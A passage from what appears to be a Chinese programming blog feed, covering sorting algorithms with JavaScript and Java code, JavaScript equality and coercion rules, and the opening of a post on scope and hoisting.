&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;快速排序&lt;/h2&gt;
&lt;p&gt;跟归并排序相似但不完全一样。大致思路如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选取数组的一个主元pivot&lt;/li&gt;
&lt;li&gt;对该数组进行排序---小于或等于该主元的元素成为子数组1(不包括主元)，大于主元元素的元素成为子数组2&lt;/li&gt;
&lt;li&gt;如果这些个数组的长度依旧大于1，继续对该两个数组进行该操作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;伪代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;suppose there is an array named list

function quickSort(list) {
    if (list.length &amp;gt; 1) {
        select a pivot;
        partition the list into list1 and list2 that satisfy
            1. all elements in list1 are &amp;lt;= pivot;
            2. all elements in list2 are &amp;gt; pivot;
        quickSort(list1);
        quickSort(list2);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS实现如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function quickSort(nums, first, last) {
    if (!first &amp;amp;&amp;amp; !last) {
        quickSort(nums, 0, nums.length - 1);
    } else if (first &amp;lt; last) {
        const pivotIndex = partition(nums, first, last);
        quickSort(nums, first, pivotIndex - 1);
        quickSort(nums, pivotIndex + 1, last);
    }
}

function partition(nums, first, last) {
    const pivot = nums[first];
    let low = first + 1;
    let high = last;

    while (high &amp;gt; low) {
        // search
        while (low &amp;lt;= high &amp;amp;&amp;amp; nums[low] &amp;lt;= pivot) {
            low++;
        }
        while (low &amp;lt;= high &amp;amp;&amp;amp; nums[high] &amp;gt; pivot) {
            high--;
        }
        // swap
        if (high &amp;gt; low) {
            const tmp = nums[low];
            nums[low] = nums[high];
            nums[high] = tmp;
        }
    }

    // swap pivot with list[high]
    if (pivot &amp;gt; nums[high]) {
        nums[first] = nums[high];
        nums[high] = pivot;
        return high;
    } else {
        return first;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;堆排序&lt;/h2&gt;
&lt;p&gt;该排序算法使用完全二叉树来进行排序&lt;/p&gt;
&lt;p&gt;完全二叉树指的就是，一棵深度为k的树，其他深度的节点的度都要为2(即其余层为满的)，除了深度为k(最后一层)的节点可以为满，也可以是右边缺少若干节点。&lt;/p&gt;
&lt;p&gt;如果一棵完全二叉树树为堆的话，那么就会有这个性质---每个节点的大小比它的每一个child都要大&lt;/p&gt;
&lt;p&gt;下图(By Kelott - Own work, CC BY-SA 4.0, &lt;a href=&quot;https://commons.wikimedia.org/w/index.php?curid=99968794&quot;&gt;https://commons.wikimedia.org/w/index.php?curid=99968794&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;上面的这个图片表示的就是一个Heap，还有有父子节点在数组上的关系&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leftChildIndex = 2 * fatherIndex + 1
rightChildIndex = 2 * fatherIndex + 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;往堆上添加元素的时候，元素会添加到数组最后一个位置上，然后与父节点作比较，大于或小于的话就交换位置，直到父节点小于或大于这个元素&lt;/p&gt;
&lt;p&gt;去除元素的时候，是把根节点元素取出，然后把最后一个元素放置于根节点上，接着让这个元素与子节点进行比较与交换，使得最后结果还是一个堆。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Heap&lt;/code&gt;的实现如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Heap {
    constructor(objects) {
        this.list = [];
        if (Array.isArray(objects)) {
            objects.forEach(o =&amp;gt; this.add(o));
        }
    }

    add(newObj) {
        this.list.push(newObj);
        let currentIndex = this.list.length - 1;
        while (currentIndex &amp;gt; 0) {
           let parentIndex = (currentIndex - 1) / 2;
           if (this.list[currentIndex] &amp;gt; this.list[parentIndex]) {
               const tmp = this.list[currentIndex];
               this.list[currentIndex] = this.list[parentIndex];
               this.list[parentIndex] = tmp;
           } else {
               break;
           }

           currentIndex = parentIndex;
        }
    }

    remove() {
        if (this.list.length === 0) return null;

        const removedObject = this.list[0];
        this.list[0] = this.list[this.list.length - 1];
        this.list.pop();

        let currentIndex = 0;
        while (currentIndex &amp;lt; this.list.length) {
            const leftChildIndex = 2 * currentIndex + 1;
            const rightChildIndex = 2 * currentIndex + 2;

            if (leftChildIndex &amp;gt;= this.list.length) break;

            let maxIndex = leftChildIndex;
            if (this.list[leftChildIndex] &amp;lt; this.list[rightChildIndex]) {
                maxIndex = rightChildIndex;
            }

            if (this.list[currentIndex] &amp;lt; this.list[maxIndex]) {
                const tmp = this.list[maxIndex];
                this.list[maxIndex] = this.list[currentIndex];
                this.list[currentIndex] = tmp;
                currentIndex = maxIndex;
            } else {
                break;
            }
        }

        return removedObject;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;(待更)&lt;/p&gt;
&lt;h2&gt;桶排序&lt;/h2&gt;
&lt;p&gt;把数据都分开到几个桶里头&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;分别对这几个桶进行排序，接着把排序好的结果归到一起。完成排序。&lt;/p&gt;
&lt;p&gt;当均匀分布时，最为高效。(时间复杂度慢慢加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function bucketSort(nums, bucketSize) {
    // find max and min
    let max = Number.MIN_VALUE;
    let min = Number.MAX_VALUE;
    for (let i = 0; i &amp;lt; nums.length; i++) {
        if (nums[i] &amp;lt; min) { min = nums[i]; }
        if (nums[i] &amp;gt; max) { max = nums[i]; }
    }

    // generate buckets
    const DEFAULT_SIZE = 10;
    bucketSize = bucketSize || DEFAULT_SIZE;
    const bucketCount = Math.floor((max - min) / bucketSize + 1);
    const buckets = Array(bucketCount);
    for (let i = 0; i &amp;lt; bucketCount; i++) {
        buckets[i] = Array();
    }

    // push nums into bucket
    for (let i = 0; i &amp;lt; nums.length; i++) {
        const index = Math.floor((nums[i] - min) / bucketSize);
        buckets[index].push(nums[i]);
    }

    // sorted on each bucket
    console.log(buckets)
    buckets.forEach(bucket =&amp;gt; insertionSort(bucket));

    // push result into an array
    let sorted = [];
    buckets.forEach(bucket =&amp;gt; bucket.forEach(e =&amp;gt; sorted.push(e)));

    return sorted;
}

function insertionSort(nums) {
    for (let k = 1; k &amp;lt; nums.length; k++) {
        let current = nums[k];
        let i = k - 1;
        while (i &amp;gt;= 0 &amp;amp;&amp;amp; nums[i] &amp;gt; current) {
            nums[i + 1] = nums[i];
            i--;
        }
        nums[i + 1] = current;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;基数排序&lt;/h2&gt;
&lt;p&gt;但是桶排序不是稳定的，会受到桶的分配情况、元素个数、桶的个数的影响。&lt;/p&gt;
&lt;p&gt;如果我们只需要进行数字的排序的话，我们就可以用基数排序。这个是稳定的算法，在时间上，复杂度为O(dn)，d为位数&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;自己写的伪代码...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let n=1, nums=an array of numbers
while (n &amp;lt;= the digit of the maximum number in the list) {
    1. push the number to the n th bucket ,according to the number&apos;s n th digit from right to left.
    (For example, when n=2, 697-&amp;gt;9 and 9(009)-&amp;gt;0)
    2. gather the elements from bucket[0] to [9] one by one
    3. clear nums and let nums = these gathered elements
    n++
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS实现如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function radixSort(nums) {
    const buckets = Array(10);
    const max = Math.max(...nums);
    const digit = Math.ceil(Math.log10(max));
    for (let currentDiv = 1; currentDiv &amp;lt;= Math.pow(10, digit) ; currentDiv *= 10) {
        // clear the arrays
        for (let i = 0; i &amp;lt; buckets.length; i++) {
            buckets[i] = Array();
        }

        let newNums = [];
        for (let i = 0; i &amp;lt; nums.length; i++) {
            if (nums[i] / currentDiv &amp;gt;= 1) {
                buckets[Math.floor(nums[i] / currentDiv) % 10].push(nums[i]);
            } else {
                buckets[0].push(nums[i]);
            }
        }

        buckets.forEach(b =&amp;gt; b.forEach(e =&amp;gt; newNums.push(e)));
        nums = newNums;
    }

    return nums;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;外部排序&lt;/h2&gt;
&lt;p&gt;其实思路跟归并排序，是差不多的。只不过这里的条件有点不同--即我们需要排序一个大文件里头的数字，由于规模非常大，我们不可能一次性把它们全部加载进内存里头。&lt;/p&gt;
&lt;p&gt;因此，我们可以把这个文件其中分为定长(segmentSize)的许多片段(Segment)，每一个片段进行排序。（下面是依次把每一个排序好的子数组放入一个文件里头）&lt;/p&gt;
&lt;p&gt;之后，再将这些个片段，两两归并到一起排序。排序之后，将片段数减半，片段长度加倍，(递归)反复这样排序，操作下去，直到最后，就会得到一个排序好了的文件。&lt;/p&gt;
&lt;p&gt;代码实现(Java)如下，先随机创建一个含有很多数字的文件，然后对该文件进行外部排序。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.*;
import java.util.Arrays;

public class ExternalSort {
    public static void main(String[] args) throws Exception {
        createFile();
        sort(&quot;largedata.dat&quot;, &quot;sortedfile.dat&quot;);
        try (DataInputStream input = new DataInputStream(new FileInputStream(&quot;sortedfile.dat&quot;))) {
            for (int i = 0; i &amp;lt; 100; i++) {
                System.out.print(input.readInt() + &quot; &quot;);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static void createFile() {
        try (
                DataOutputStream output = new DataOutputStream(
                new BufferedOutputStream(new FileOutputStream(&quot;largedata.dat&quot;)))
        ) {
            for (int i = 0; i &amp;lt; 5000000; i++) {
                output.writeInt((int)(Math.random() * 100000));
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static int initializeSegments(int segmentSize, String originalFile, String f1) throws Exception {
        int[] list = new int[segmentSize];
        DataInputStream input = new DataInputStream(
                new BufferedInputStream(new FileInputStream(originalFile))
        );
        DataOutputStream output = new DataOutputStream(
                new BufferedOutputStream(new FileOutputStream(f1))
        );

        int numberOfSegment = 0;
        while (input.available() &amp;gt; 0) {
            int i = 0;
            for ( ; input.available() &amp;gt; 0 &amp;amp;&amp;amp; i &amp;lt; segmentSize; i++) {
                list[i] = input.readInt();
            }

            Arrays.sort(list);

            for (int j = 0; j &amp;lt; i; j++) {
                output.writeInt(list[j]);
            }
        }

        input.close();
        output.close();

        return numberOfSegment;
    }

    private static void copyHalfToF2(int numberOfSegments,
                                     int segmentSize, DataInputStream f1, DataOutputStream f2) throws Exception {
        for (int i = 0; i &amp;lt; segmentSize / 2 * numberOfSegments; i++) {
            f2.writeInt(f1.readInt());
        }
    }

    private static void mergeSegments(int numberOfSegments,
                                      int segmentSize,
                                      DataInputStream f1, DataInputStream f2, DataOutputStream f3) throws Exception {
        for (int i = 0; i &amp;lt; numberOfSegments; i++) {
            mergeTwoSegments(segmentSize, f1, f2, f3);
        }

        while (f1.available() &amp;gt; 0) {
            f3.writeInt(f1.readInt());
        }
    }

    private static void mergeTwoSegments(int segmentSize, DataInputStream f1, DataInputStream f2,
                                         DataOutputStream f3) throws Exception {
        int intFromF1 = f1.readInt();
        int intFromF2 = f2.readInt();
        int f1Count = 1;
        int f2Count = 1;

        while (true) {
            if (intFromF1 &amp;lt; intFromF2) {
                f3.writeInt(intFromF1);
                if (f1.available() &amp;gt; 0 || f1Count++ &amp;gt;= segmentSize) {
                    f3.writeInt(intFromF2);
                    break;
                } else {
                    intFromF1 = f1.readInt();
                }
            } else { // intFromF1 &amp;gt;= intFromF2
                f3.writeInt(intFromF2);
                if (f2.available() &amp;gt; 0 || f2Count++ &amp;gt;= segmentSize) {
                    f3.writeInt(intFromF1);
                    break;
                } else {
                    intFromF2 = f2.readInt();
                }
            }
        }

        while (f1.available() &amp;gt; 0 &amp;amp;&amp;amp; f1Count++ &amp;lt; segmentSize) {
            f3.writeInt(f1.readInt());
        }

        while (f2.available() &amp;gt; 0 &amp;amp;&amp;amp; f2Count++ &amp;lt; segmentSize) {
            f3.writeInt(f2.readInt());
        }
    }

    private static final int MAX_ARRAY_SIZE = 100000;
    private static final int BUFFER_SIZE = 100000;

    private static void sort(String sourceFile, String targetFile) throws Exception {
        // phase 1
        int numberOfSegments = initializeSegments(MAX_ARRAY_SIZE, sourceFile, &quot;f1.dat&quot;);

        // phase 2
        merge(numberOfSegments, MAX_ARRAY_SIZE, &quot;f1.dat&quot;, &quot;f2.dat&quot;, &quot;f3.dat&quot;, targetFile);
    }

    private static void merge(int numberOfSegments, int segmentSize,
                              String f1, String f2, String f3, String targetFile) throws Exception {
        if (numberOfSegments &amp;gt; 1) {
            mergeOneStep(numberOfSegments, segmentSize, f1, f2, f3);
            merge((numberOfSegments + 1) / 2, segmentSize * 2,
                    f3, f1, f2, targetFile);
        } else {
            File sortedFile = new File(targetFile);
            if (sortedFile.exists()) sortedFile.delete();
            new File(f1).renameTo(sortedFile);
        }
    }

    private static void mergeOneStep(int numberOfSegments, int segmentSize,
                                     String f1, String f2, String f3) throws Exception {
        DataInputStream f1Input = new DataInputStream(
                new BufferedInputStream(new FileInputStream(f1), BUFFER_SIZE)
        );
        DataOutputStream f2Output = new DataOutputStream(
                new BufferedOutputStream(new FileOutputStream(f2), BUFFER_SIZE)
        );

        copyHalfToF2(numberOfSegments, segmentSize, f1Input, f2Output);
        f2Output.close();

        DataInputStream f2Input = new DataInputStream(
                new BufferedInputStream(new FileInputStream(f2), BUFFER_SIZE)
        );
        DataOutputStream f3Output = new DataOutputStream(
                new BufferedOutputStream(new FileOutputStream(f3), BUFFER_SIZE)
        );

        mergeSegments(segmentSize / 2, segmentSize, f1Input, f2Input, f3Output);

        f1Input.close();
        f2Input.close();
        f3Output.close();
    }
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>算法</category></item><item><title>JavaScript之值的比较</title><link>https://situ2001.com/blog/javascript/value-comparison/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/value-comparison/</guid><description>JavaScript之值的比较</description><pubDate>Sat, 24 Apr 2021 15:44:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;inspired by 海绵宝宝meme（&lt;/p&gt;
&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;如图所示（其实是因为不熟悉，导致平时用起来有点抗拒&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;好啦，meme归meme，那么JS这令人诟病的值比较究竟是怎么样的呢？&lt;/p&gt;
&lt;h2&gt;Type of value&lt;/h2&gt;
&lt;p&gt;在JS里头，value有两种：primitive和object&lt;/p&gt;
&lt;p&gt;primitive分别是 &lt;code&gt;string&lt;/code&gt;, &lt;code&gt;number&lt;/code&gt;, &lt;code&gt;bigint&lt;/code&gt;, &lt;code&gt;boolean&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;symbol&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其特点就是immutable，即它们的值不能被更改。不像数组，对象，函数那样，可以把自身的property给更改。如果一个被赋值了primitive的变量的value被更改，那就是这个变量被赋了个新值。&lt;/p&gt;
&lt;p&gt;至于object类型，Objects are held by reference。这跟Java是差不多的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let a = { x: 114514 };
let b = a; // copy the reference and assign to b
b.x = 1919810;
console.log(a.x); // 1919810

let c = 114514;
let d = c; // assigning a new primitive, but not copying the reference
d = 1919810;
console.log(c); // 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;undefined&lt;/code&gt;指的是一个变量的值为空（没有赋值），这跟&lt;code&gt;null&lt;/code&gt;不一样&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Symbol&lt;/code&gt;是一个有特殊用途的primitive，平时表现为一个隐藏的值。通常作为一个对象的特殊key。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;function&lt;/code&gt;和&lt;code&gt;array&lt;/code&gt;是特殊的Object类型&lt;/p&gt;
&lt;p&gt;&lt;code&gt;typeof&lt;/code&gt;这里也有一点坑，理论上primitive就显示对应的类型，但是&lt;code&gt;null&lt;/code&gt;却不是如此&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typeof function() {} // &quot;function&quot;
typeof [1919, 810] // &quot;object&quot; but not &quot;array&quot;
typeof null // &quot;object&quot; but not &quot;null&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Falsy values&lt;/h2&gt;
&lt;p&gt;这里插入falsy value，为后面比较做铺垫&lt;/p&gt;
&lt;p&gt;下面这些值都是false&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;undefined&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NaN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; (zero)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-0&lt;/code&gt; (Number negative zero)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0n&lt;/code&gt; (BigInt zero)&lt;/li&gt;
&lt;li&gt;empty string (&quot;&quot; or &apos;&apos; or ``)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Operator || &amp;amp;&amp;amp;&lt;/h2&gt;
&lt;p&gt;与此同时，顺便插入跟其他常见语言行为有点不同的&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;和&lt;code&gt;||&lt;/code&gt;运算符运算规则&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;meaning&lt;/th&gt;
&lt;th&gt;statement&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Logic OR&lt;/td&gt;
&lt;td&gt;If expr1 can be converted to true, returns expr1; else, returns expr2.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logic AND&lt;/td&gt;
&lt;td&gt;If expr1 can be converted to true, returns expr2; else, returns expr1.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;let a = undefined || 114514; // a = 114514
let b = undefined &amp;amp;&amp;amp; 1919810; // b = undefined
let c = &quot;you&quot; || &quot;me&quot;; // c = you
let d = &quot;you&quot; &amp;amp;&amp;amp; &quot;me&quot;; // d = me
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据&lt;strong&gt;短路运算&lt;/strong&gt;的规则来理解就行了，比如Logic OR，第一个true就扔回第一个，否则就会比较第二个，因此第一个false就会扔回第二个。Logic AND也是如此&lt;/p&gt;
&lt;p&gt;并且因为js用来判断false和true的是用falsy value和truthy value，所以使用if语句的时候，要注意哪些东西在js里头是falsy的。&lt;/p&gt;
&lt;h2&gt;==&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;==&lt;/code&gt;与&lt;code&gt;===&lt;/code&gt;这两个在同类型比较的时候，行为是&lt;strong&gt;一样&lt;/strong&gt;的。&lt;/p&gt;
&lt;p&gt;但是在两个待比较的值的类型不同的时候，就会产生差别，&lt;code&gt;==&lt;/code&gt;会把类型做转换后再进行比较值（强制比较，即Coercive equality）。（注意：这区别于value的单独出现，比如&lt;code&gt;[]&lt;/code&gt;是truthy value，但是在做&lt;code&gt;==&lt;/code&gt;比较的时候就会强制转换类型）&lt;/p&gt;
&lt;p&gt;且优先做&lt;strong&gt;primitive numeric comparison&lt;/strong&gt;，即&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把&lt;code&gt;object&lt;/code&gt;(如果不是&lt;code&gt;primitive&lt;/code&gt;)类型的值转到&lt;code&gt;primitive&lt;/code&gt;(使用&lt;code&gt;valueOf()&lt;/code&gt;或者&lt;code&gt;toString()&lt;/code&gt;，优先前者，没有的话才会考虑调用后者)&lt;/li&gt;
&lt;li&gt;再转为&lt;code&gt;number&lt;/code&gt;(如果此时的&lt;code&gt;primitive&lt;/code&gt;还不是数字)进行比较&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;114514 == &quot;114514&quot; // true, (string -&amp;gt; number)
0 == true // false (boolean -&amp;gt; number)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于数组的话，用&lt;code&gt;==&lt;/code&gt;作比较的时候，会发生类型转换，使用了&lt;code&gt;toString()&lt;/code&gt;或&lt;code&gt;valueOf()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[].toString(); // &quot;&quot;
[] == &quot;&quot; // true
[] == &quot;0&quot; // true
[] == 0 // true
[] == false // true

[114514].toString() // &quot;114514&quot;
[114514] == &quot;114514&quot; // true
[114514] == 114514 // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以海绵宝宝meme里头的&lt;code&gt;&quot;0&quot; == 0&lt;/code&gt;, &lt;code&gt;0 == []&lt;/code&gt;都是&lt;code&gt;true&lt;/code&gt;。&lt;code&gt;[].toString()&lt;/code&gt;得到&lt;code&gt;&quot;&quot;&lt;/code&gt;，所以&lt;code&gt;&quot;0&quot; == []&lt;/code&gt;是&lt;code&gt;false&lt;/code&gt;而&lt;code&gt;&apos;&apos; == []&lt;/code&gt;为&lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;对于&lt;code&gt;null&lt;/code&gt;和&lt;code&gt;undefined&lt;/code&gt;，spec里面也说了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Undefined type has exactly one value, called undefined. Any variable that has not been assigned a value has the value undefined.(8.1)
The Null type has exactly one value, called null.(8.2)
If x is null and y is undefined, return true.(11.9.3)
If x is undefined and y is null, return true.(11.9.3)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因此&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;null == null // true
undefined == undefined // true
null == undefined // true
undefined == null // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且&lt;code&gt;null&lt;/code&gt; &lt;code&gt;undefined&lt;/code&gt;在与其他值进行比较的时候，都不能进行强制类型转化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5 == null // false
14 == undefined // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特殊的&lt;code&gt;NaN&lt;/code&gt;则是：&lt;strong&gt;只要&lt;/strong&gt;有一边的操作数为NaN那么进行恒等于比较就会是false，不等于的比较则是true&lt;/p&gt;
&lt;h3&gt;小总结&lt;/h3&gt;
&lt;p&gt;如果两边都是primitive，那么优先强制转化为number比较&lt;/p&gt;
&lt;p&gt;如果两边都是对象的引用，则看这两个引用是不是指向同一个对象&lt;/p&gt;
&lt;p&gt;而对于一边是对象而另一边是string或number的情况，那么对象就是转化为&lt;code&gt;primitive&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优先&lt;/strong&gt;使用的是&lt;code&gt;Symbol.toPrimitive&lt;/code&gt;。没有的话，就还是&lt;code&gt;toString()&lt;/code&gt;和&lt;code&gt;valueOf()&lt;/code&gt;,hint为&lt;code&gt;string&lt;/code&gt;就是优先&lt;code&gt;toString()&lt;/code&gt;再&lt;code&gt;valueOf()&lt;/code&gt;，hint为其他就是反之。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {
    [Symbol.toPrimitive](hint) {
        if (hint === &quot;default&quot;) { // default, number or string
            return &quot;114514&quot;;
        }
    }
};

console.log(obj == 114514); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&amp;gt; &amp;lt; &amp;gt;= &amp;lt;=&lt;/h2&gt;
&lt;p&gt;那&lt;code&gt;&amp;lt;&lt;/code&gt;和&lt;code&gt;&amp;gt;&lt;/code&gt;和&lt;code&gt;&amp;gt;=&lt;/code&gt;和&lt;code&gt;&amp;lt;=&lt;/code&gt;呢？其比较的原理跟&lt;code&gt;==&lt;/code&gt;的一样(没有&lt;code&gt;&amp;lt;==&lt;/code&gt;这种东西)，所以&lt;code&gt;==&lt;/code&gt;的规则还是要懂的&lt;/p&gt;
&lt;p&gt;还要注意字符串的比较，是一个一个字符的进行比较(像Java里头String的&lt;code&gt;compareTo()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let x = &quot;10&quot;;
let y = &quot;9&quot;;

x &amp;lt; y // false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;===&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;===&lt;/code&gt;是比较严格的比较。&lt;strong&gt;先&lt;/strong&gt;比较类型，类型相同，再比较值。&lt;/p&gt;
&lt;p&gt;但也不是真正的strict equal comparison&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NaN === NaN // false
0 === -0 // true
+0 === -0 // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Object.is&lt;/h2&gt;
&lt;p&gt;刚刚&lt;code&gt;===&lt;/code&gt;出现的这些个问题都可以用&lt;code&gt;Object.is()&lt;/code&gt;来解决，所以&lt;code&gt;Object.is()&lt;/code&gt;就是&lt;code&gt;====&lt;/code&gt;了（手滑&lt;/p&gt;
&lt;p&gt;一个polyfill如下（摘自MDN）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!Object.is) {
  Object.defineProperty(Object, &quot;is&quot;, {
    value: function (x, y) {
      // SameValue algorithm
      if (x === y) {
        // return true if x and y are not 0, OR
        // if x and y are both 0 of the same sign.
        // This checks for cases 1 and 2 above.
        return x !== 0 || 1 / x === 1 / y;
      } else {
        // return true if both x AND y evaluate to NaN.
        // The only possibility for a variable to not be strictly equal to itself
        // is when that variable evaluates to NaN (example: Number.NaN, 0/0, NaN).
        // This checks for case 3.
        return x !== x &amp;amp;&amp;amp; y !== y;
      }
    }
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;知道了一些规矩，感觉也不像之前那么玄学了&lt;/p&gt;
&lt;p&gt;虽然被说是糟粕，但是比较大于小于的时候必须要用啊...&lt;/p&gt;
&lt;p&gt;所以，玄学来源于未知（强行解释）&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>JavaScript之作用域与变量提升</title><link>https://situ2001.com/blog/javascript/scope-and-hoisting/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/scope-and-hoisting/</guid><description>JavaScript之作用域与变量提升</description><pubDate>Sun, 11 Apr 2021 13:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不知道的话，读代码的时候估计会很懵吧。&lt;/p&gt;
&lt;h2&gt;动机&lt;/h2&gt;
&lt;p&gt;看过《JavaScript: The Good Parts》，里面有说，var这种东西，算是(?)一个糟粕。于是我就想写篇文章记录一下咯。&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;在js里头，有一个term叫做hoisting，中文翻译过来就就是提升。常见的就有变量提升了。&lt;/p&gt;
&lt;p&gt;这里记录一下提升的几种，有&lt;code&gt;var&lt;/code&gt;变量和函数的提升，也有ES6之后的&lt;code&gt;let&lt;/code&gt;, &lt;code&gt;const&lt;/code&gt;和&lt;code&gt;class&lt;/code&gt;的提升。其实区别也就：在ES6引入的新东西，多了个TDZ(Temporary Dead Zone)而已。&lt;/p&gt;
&lt;p&gt;在此之前，说一下js的scope，即作用域，文章可能会更为贯通。&lt;/p&gt;
&lt;p&gt;总的来说，行文脉络就是：作用域 =&amp;gt; 变量提升&lt;/p&gt;
&lt;h2&gt;作用域&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;粗暴理解: 一个变量能够被访问的范围&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;JavaScript本来有函数作用域和全局作用域，ES6之后再引入多一个块作用域。&lt;/p&gt;
&lt;h3&gt;全局作用域&lt;/h3&gt;
&lt;p&gt;在代码的任何地方都能访问到的变量就是全局变量了，其作用域就是全局作用域。&lt;/p&gt;
&lt;p&gt;定义在最外层函数的变量，和&lt;code&gt;global&lt;/code&gt;, &lt;code&gt;window&lt;/code&gt;对象的property(比如&lt;code&gt;window.location&lt;/code&gt;)等，以及&lt;strong&gt;直接赋值却未先前声明&lt;/strong&gt;的变量。都拥有全局作用域。&lt;/p&gt;
&lt;p&gt;比如直接赋值却未先前声明的变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// In browser&apos;s Dev Tool
var f = function () {
    x = 114514;
    var y = 1919810;
}
f();
console.log(x); // 114514
console.log(y); // ReferenceError: y is not defined
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;函数作用域&lt;/h3&gt;
&lt;p&gt;而函数在js里面，被当成是一个闭包(Closure)。函数里面用&lt;code&gt;var&lt;/code&gt;声明定义的变量的scope都是该函数内部（函数上下文）。可以利用这个特性外加IIFE(立即执行函数)，防止作用域污染&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var fn = function () {
    var x = 114514;

    return {
        get: function () {return x;},
        add: function () {x++;}
    };
}();

fn.add();
console.log(fn.get()); // 114515
console.log(x); // ReferenceError: x is not defined
&lt;/code&gt;&lt;/pre&gt;
